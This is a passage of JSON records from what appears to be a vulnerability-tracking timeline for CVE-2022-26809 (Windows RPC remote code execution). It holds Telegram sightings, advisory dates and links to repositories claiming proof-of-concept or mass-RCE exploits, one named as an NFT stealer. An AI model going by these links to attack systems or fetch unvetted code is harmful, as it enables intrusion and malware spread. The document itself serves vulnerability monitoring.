"field": "creation_timestamp", "uuid": "5f750662-87bc-48a0-9be5-46375d47ba2f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aTHE FINAL POC FOR CVE-2022-26809 TO ACHIEVE RCE\nURL\uff1ahttps://github.com/ToomArni65/CVE-2022-26809-POC\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2754"}, {"timestamp": "2022-07-23T02:21:37Z", "date_only": false, "value": "2022-07-23T02:21:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2759", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "fdc45be0-5767-4995-ba9e-c2825a772231", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aTHE FINAL POC FOR CVE-2022-26809 TO ACHIEVE RCE\nURL\uff1ahttps://github.com/ToomArni65/CVE-2022-26809-FINAL-POC\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2759"}, {"timestamp": "2022-07-27T15:59:46Z", "date_only": false, "value": "2022-07-27T15:59:46.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2786", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "d65a85e2-9604-496d-8443-37ad76010da3", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1a\u7ea2\u961f\n\u63cf\u8ff0\uff1a\u8b66\u60d5 \u4e00\u79cd\u9488\u5bf9\u7ea2\u961f\u7684\u65b0\u578b\u6eaf\u6e90\u624b\u6bb5!\nURL\uff1ahttps://github.com/fuckjsonp/FuckJsonp-RCE-CVE-2022-26809-SQL-XSS-FuckJsonp\n\n\u6807\u7b7e\uff1a#\u7ea2\u961f", "url": "https://t.me/GithubRedTeam/2786"}, {"timestamp": "2022-08-02T20:48:24Z", "date_only": false, "value": "2022-08-02T20:48:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2837", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "12e3dddc-8024-470b-b5cf-02ddd7adecdb", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809 is a vulnerability in Remote Procedure Call Runtime \nURL\uff1ahttps://github.com/emanuelandrei/Nft-Grabber-Stealer-Exploit-Cve-2022-Steal-BlockHain-Hack-Nft\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2837"}, {"timestamp": "2022-08-15T12:13:54Z", "date_only": false, "value": "2022-08-15T12:13:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2947", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "ad7dd79f-e373-48e9-8c28-3ba5a71ad771", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1ametasploit and python module for CVE-2022-26809 windows rpc rce via smb 445\nURL\uff1ahttps://github.com/Ziggy78/CVE-2022-26809-MASS-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2947"}, {"timestamp": "2022-08-22T16:48:18Z", "date_only": false, "value": "2022-08-22T16:48:18.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2999", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "36c720fe-bed8-42b1-b94c-7e9fba04632d", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aTHE FINAL POC FOR CVE-2022-26809 TO ACHIEVE RCE \nURL\uff1ahttps://github.com/ToomArni65/CVE-2022-26809-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2999"}, {"timestamp": "2022-09-01T07:00:04Z", "date_only": false, "value": "2022-09-01T07:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/poxek/2418", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "1ece83b2-d841-4ba8-899c-185191f07d59", "content": "#Windows #CVE #POC\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e\u0431 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0433\u0430 \u0432 Microsoft RPC RCE\nCVE-2022-26809\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0435\u043d\u044b \u0438\u0437-\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-26809, \u043a\u043e\u0442\u043e\u0440\u0443\u044e Microsoft \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432 Windows RPC. \u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432, \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0430\u0442\u0430\u043a.", "url": "https://t.me/poxek/2418"}, {"timestamp": "2022-09-02T12:16:19Z", "date_only": false, "value": "2022-09-02T12:16:19.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/poxek/2373", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "93c8193c-5c43-409e-9673-8ba8127d871c", "content": "#Windows #CVE #POC\n\nRemote Procedure Call Runtime Remote Code Execution Vulnerability\nCVE-2022-26809\n\n\u0421\u043b\u0430\u0431\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows (RPC) \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 9.8 \u043d\u0435 \u0431\u0435\u0437 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e \u0441\u0435\u0442\u0438 \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE) \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0441\u043b\u0443\u0436\u0431\u044b RPC, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u0441\u0440\u0435\u0434\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f RPC. \u042d\u0442\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0432\u0435\u0437\u0435\u0442, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u043e\u043c\u0443 \u0445\u043e\u0441\u0442\u0443 Windows, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 SMB. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043a\u0430\u043a \u0438\u0437\u0432\u043d\u0435 \u0441\u0435\u0442\u0438 \u0441 \u0446\u0435\u043b\u044c\u044e \u0435\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f, \u0442\u0430\u043a \u0438 \u043c\u0435\u0436\u0434\u0443 \u043c\u0430\u0448\u0438\u043d\u0430\u043c\u0438 \u0432 \u0441\u0435\u0442\u0438.", "url": "https://t.me/poxek/2373"}, {"timestamp": "2022-09-09T15:27:01Z", "date_only": false, "value": "2022-09-09T15:27:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/kasperskyb2b/138", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "9c17267f-fb0a-4185-8dc6-264157be2dd0", "content": "\u041d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0435 \u043f\u0440\u043e\u0444\u0438 \u043d\u0435 \u0431\u0435\u0433\u0430\u044e\u0442 \u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u043e\u043d\u0438 \u0438\u0445 \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 \ud83d\ude0e\n\n\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0441\u0435\u0440\u0438\u044e \u043a\u0438\u0431\u0435\u0440\u0438\u043c\u043c\u0443\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0440\u0438\u0439. \u0412 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043e\u043a.\n\u0413\u043e\u0434 \u0435\u0449\u0435 \u043d\u0435 \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u043b\u0441\u044f, \u0430 \u0432 \u041e\u0421 Microsoft Windows 10 \u0443\u0436\u0435 \u0432\u044b\u044f\u0432\u0438\u043b\u0438 358 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 97 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \n\n\u0412\u043e\u0442 \u043c\u0438\u043d\u0438-\u043e\u0431\u0437\u043e\u0440 \u0441\u0432\u0435\u0436\u0438\u0445 CVE, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435:\n\u2022 CVE-2022-26809 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\u2022 \u0414\u0432\u0435 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 Network File System (NFS) \u2014 CVE-2022-24491 \u0438 CVE-2022-24497 \u2014 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b NFS.\n\u2022 CVE-2022-24521 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 Common Log File System (CLFS) \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (\u0445\u043e\u0442\u044f \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435).\n\u2022 CVE-2022-26925, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a LSA Spoofing, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0432\u044b\u0437\u0432\u0430\u0432 \u043c\u0435\u0442\u043e\u0434 LSARPC-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430.\n\n\u0413\u043b\u044f\u0434\u044f \u043d\u0430 \u044d\u0442\u0443 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443, \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u041e\u0421 \u0438 \u041f\u041e \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e. \u041c\u044b \u0438 \u0441\u0430\u043c\u0438 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u0443\u0434\u043e\u0431\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u043e\u0432\u0435\u0442\u0443\u0435\u043c \u043d\u0435 \u043f\u0440\u0435\u043d\u0435\u0431\u0440\u0435\u0433\u0430\u0442\u044c \u0430\u043f\u0434\u0435\u0439\u0442\u0430\u043c\u0438 \u0438 \u0432\u043e\u0432\u0440\u0435\u043c\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u043f\u0430\u0442\u0447\u0438, \u0432\u0435\u0434\u044c \u043c\u0438\u0440 \u0436\u0435\u0441\u0442\u043e\u043a \u0438 \u043f\u043e\u043b\u043e\u043d \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u041d\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0430 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f, \u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u0433\u043e\u043d\u043a\u0438 \u00ab\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u2014 \u0430\u043d\u0442\u0438\u0434\u043e\u0442\u00bb \u043f\u043e\u0442\u0438\u0445\u043e\u043d\u044c\u043a\u0443 \u0438\u0437\u0436\u0438\u0432\u0430\u0435\u0442 \u0441\u0435\u0431\u044f. \u0415\u043c\u0443 \u043d\u0430 \u0441\u043c\u0435\u043d\u0443 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u043a\u0438\u0431\u0435\u0440\u0438\u043c\u043c\u0443\u043d\u0438\u0442\u0435\u0442\u0430. \n\n\u0412 KasperskyOS \u0438 \u043a\u0438\u0431\u0435\u0440\u0438\u043c\u043c\u0443\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043d\u0430 \u0435\u0435 \u0431\u0430\u0437\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 Default Deny (\u0437\u0430\u043f\u0440\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u0434\u0430\u0435\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u044f\u0432\u043d\u043e \u043d\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u043f\u043b\u043e\u0449\u0430\u0434\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0431 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.", "url": "https://t.me/kasperskyb2b/138"}, {"timestamp": "2022-09-24T13:01:20Z", "date_only": false, "value": "2022-09-24T13:01:20.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/netrunnerz/251", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "edfe85e3-5d5e-45b2-83c0-cc5c86e8e73d", "content": "#Windows #CVE #POC\n\nRemote Procedure Call Runtime Remote Code Execution Vulnerability\nCVE-2022-26809\n\n\u0421\u043b\u0430\u0431\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows (RPC) \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 9.8 \u043d\u0435 \u0431\u0435\u0437 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e \u0441\u0435\u0442\u0438 \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE) \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0441\u043b\u0443\u0436\u0431\u044b RPC, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u0441\u0440\u0435\u0434\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f RPC. \u042d\u0442\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0432\u0435\u0437\u0435\u0442, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u043e\u043c\u0443 \u0445\u043e\u0441\u0442\u0443 Windows, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 SMB. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043a\u0430\u043a \u0438\u0437\u0432\u043d\u0435 \u0441\u0435\u0442\u0438 \u0441 \u0446\u0435\u043b\u044c\u044e \u0435\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f, \u0442\u0430\u043a \u0438 \u043c\u0435\u0436\u0434\u0443 \u043c\u0430\u0448\u0438\u043d\u0430\u043c\u0438 \u0432 \u0441\u0435\u0442\u0438.", "url": "https://t.me/netrunnerz/251"}, {"timestamp": "2023-03-06T19:04:24Z", "date_only": false, "value": "2023-03-06T19:04:24.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/eXJ6uhsB4kT2KyMwIIgJLCK6BJUbaFQ2cqtfVl9phdXYTZg", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "b086881e-235a-426c-84b0-5906166cacbb"}, {"timestamp": "2023-04-03T22:00:00Z", "date_only": false, "value": "2023-04-03T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0838", "record": "WID-SEC-W-2023-0838", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2023-04-03T22:00:00Z", "date_only": false, "value": "2023-04-03T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0838", "record": "WID-SEC-W-2023-0838", "field": "document.tracking.current_release_date"}, {"timestamp": "2023-06-29T01:15:00Z", "date_only": false, "value": "2023-06-29T01:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2022-26809", "record": "GSD-2022-26809", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-12-13T01:19:38.644Z", "date_only": false, "value": "2023-12-13T01:19:38.644909Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-26809", "record": "GSD-2022-26809", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-03T05:11:44.525Z", "date_only": false, "value": "2024-08-03T05:11:44.525Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2022-26809", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-15T17:47:49.386Z", "date_only": false, "value": "2024-08-15T17:47:49.386+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0838", "record": "WID-SEC-W-2023-0838", "field": "document.tracking.generator.date"}, {"timestamp": "2024-08-15T21:04:58Z", "date_only": false, "value": "2024-08-15T21:04:58.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/rQduWbuSH08JksqzTYzYNb1rXpUsWDHdj6X479n1V4dgPIg", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "3971111a-0434-46df-b60e-c5a333b9522a"}, {"timestamp": "2024-08-20T13:15:03.785Z", "date_only": false, "value": "2024-08-20T13:15:03.785560Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-26809", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2024-08-20T13:15:03.785Z", "date_only": false, "value": "2024-08-20T13:15:03.785560Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-26809", "record": "FKIE_CVE-2022-26809", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-08-20T13:20:53.281Z", "date_only": false, "value": "2024-08-20T13:20:53.281Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-26809", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2024-10-12T06:49:41Z", "date_only": false, "value": "2024-10-12T06:49:41.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityTechnologies/6326", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "6158d7a0-c2b5-48b3-8c37-9736b676c425", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (June 1-30)\n\nCVE-2022-30190 - Follina exploit\nCVE-2022-26134 - OGNL injection in Atlassian Confluence Server/Data Center\nCVE-2022-26809 - Weakness in a core Windows 7/10/Srv19/22 component (RPC)\nCVE-2022-30075 - TP-Link AX50 Auth RCE\nCVE-2022-23222 - Linux Kernel eBPF LPE\nCVE-2022-32275 - Grafana 8.4.3 allows reading files\nCVE-2022-26937 - Windows NFS NLM Portmap Stack Buffer Overflow\nCVE-2022-23088 - Heap Overflow in FreeBSD Wi-Fi Stack\nCVE-2022-31626 - RCE in PHP <=7.4.29\nCVE-2022-30333 - Dir Traversal in rar", "url": 